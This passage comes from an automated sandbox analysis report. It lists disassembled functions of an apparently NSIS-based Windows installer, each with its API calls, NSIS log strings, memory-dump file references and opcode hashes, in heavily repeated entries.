Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
